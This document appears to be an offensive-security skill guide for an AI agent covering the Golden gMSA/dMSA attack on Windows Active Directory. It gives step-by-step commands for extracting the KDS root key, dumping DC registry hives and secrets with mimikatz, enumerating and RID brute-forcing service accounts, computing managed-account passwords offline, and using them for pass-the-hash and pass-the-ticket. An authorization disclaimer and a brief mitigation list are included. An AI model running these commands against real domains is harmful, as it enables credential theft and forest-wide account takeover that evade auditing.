Golden Gmsa Dmsa Attack

Golden gMSA/dMSA Attack Methodology

This skill guides you through the Golden gMSA/dMSA attack - an offline password derivation technique for Windows Managed Service Accounts that bypasses normal authentication auditing.

⚠️ Authorization Required

This methodology is for authorized security testing only. Ensure you have:

• Written authorization from the organization
• Proper scope documentation
• Legal clearance for Active Directory attacks

Attack Overview

Managed Service Accounts (gMSA/dMSA) store passwords differently than regular accounts. The password is derived on-the-fly from three inputs:

1. KDS Root Key - Forest-wide secret replicated to all Domain Controllers
2. Account SID - The service account's security identifier
3. ManagedPasswordID - Per-account GUID in msDS-ManagedPasswordId

Derivation formula: AES256_HMAC(KDSRootKey, SID || ManagedPasswordID) → 240-byte base64 blob

If you obtain all three inputs, you can compute valid current and future passwords for any gMSA/dMSA in the forest offline, bypassing:

• LDAP read auditing
• Password change intervals
• Kerberos traffic monitoring

Prerequisites Checklist

Before proceeding, verify:

• Forest-level compromise of at least one DC (or Enterprise Admin)
• SYSTEM access to a DC, or ability to dump DC secrets
• .NET ≥ 4.7.2 x64 environment for tooling
• Network access to enumerate service accounts (LDAP or RID brute-force)

Phase 1: Extract the KDS Root Key

The KDS Root Key is stored in the DC's registry under:

CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,<Forest>

Method A: Direct DC Access (Volume Shadow Copy)

# On the compromised DC
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive

# Extract with mimikatz
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch

Method B: GoldenDMSA Tool (Remote)

# Query KDS root keys from any DC in the forest
GoldendMSA.exe kds --domain <domain.fqdn>

# Or without domain flag if already authenticated
GoldendMSA.exe kds

Method C: GoldenGMSA Tool

GoldenGMSA.exe kdsinfo

Output to capture: The base64 RootKey string with its GUID name (e.g., RootKey: <GUID> = <base64-string>)

Phase 2: Enumerate gMSA/dMSA Objects

You need three attributes per account:

• sAMAccountName - Account name
• objectSid - Security identifier
• msDS-ManagedPasswordId - Password derivation GUID

Method A: PowerShell (Authenticated)

Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
  Select-Object sAMAccountName, objectSid, msDS-ManagedPasswordId | \
  Export-Csv gmsa-enumeration.csv -NoTypeInformation

Method B: GoldenDMSA LDAP Enumeration

# Kerberos or simple bind
GoldendMSA.exe info -d example.local -m ldap

Method C: GoldenDMSA RID Brute-Force

Use when anonymous binds are blocked:

GoldendMSA.exe info -d example.local -m brute -r 5000 -u <username> -p <password>

Method D: GoldenGMSA

GoldenGMSA.exe gmsainfo

Phase 3: Discover ManagedPasswordID (When Missing)

Some deployments strip msDS-ManagedPasswordId from ACL-protected reads. The GUID structure allows narrow wordlist generation:

• First 32 bits = Unix epoch time of account creation (minutes resolution)
• Remaining 96 bits = Random

Generate Wordlist and Test

GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>

The tool:

1. Generates candidate GUIDs based on account creation time
2. Computes candidate passwords
3. Compares base64 blobs against msDS-ManagedPassword attribute
4. Returns the matching GUID

Phase 4: Offline Password Computation

Once you have all three inputs, derive the password:

GoldenDMSA

GoldendMSA.exe compute \
  -s <SID> \
  -k <KDSRootKey> \
  -d example.local \
  -m <ManagedPasswordID> \
  -i <KDSRootKeyID>

GoldenGMSA

GoldenGMSA.exe compute \
  --sid <SID> \
  --kdskey <KDSRootKey> \
  --pwdid <ManagedPasswordID>

Output Format

The tool outputs the derived password in base64 format, which can be:

• Converted to NTLM hash
• Used directly with mimikatz sekurlsa::pth
• Converted to AES keys for Rubeus Kerberos abuse

Post-Exploitation: Password Injection

Mimikatz Pass-the-Hash

mimikatz # sekurlsa::pth /user:<gmsa-name> /domain:<domain> /ntlm:<hash>

Rubeus Pass-the-Ticket

Rubeus.exe ptt /ticket:<base64-ticket>

Detection & Mitigation

What Defenders Should Monitor

Mitigation Recommendations

1. Restrict DC backup capabilities to Tier-0 administrators only
2. Monitor DSRM and VSS creation on all Domain Controllers
3. Audit KDS Root Key container access in Active Directory
4. Convert high-privilege gMSAs to classic service accounts where Tier-0 isolation isn't possible
5. Implement privileged access workstations for DC administration

Tooling Reference

Common Issues & Troubleshooting

"KDS Root Key not found"

• Verify you're querying a DC in the same forest
• Check if KDS is enabled: Get-KdsRootKey
• Ensure you have Enterprise Admin or DC SYSTEM access

"ManagedPasswordId attribute empty"

• Account may be ACL-protected; use wordlist generation
• Try RID brute-force enumeration
• Check if account is actually a gMSA/dMSA (userAccountControl flags)

"Password derivation fails"

• Verify KDS Root Key GUID matches the key ID
• Ensure SID format is correct (S-1-5-...)
• Check .NET version compatibility (≥ 4.7.2)

References

• Golden dMSA – Semperis Blog
• Golden gMSA Attack – Semperis Blog
• Improsec – Golden gMSA Trust Attack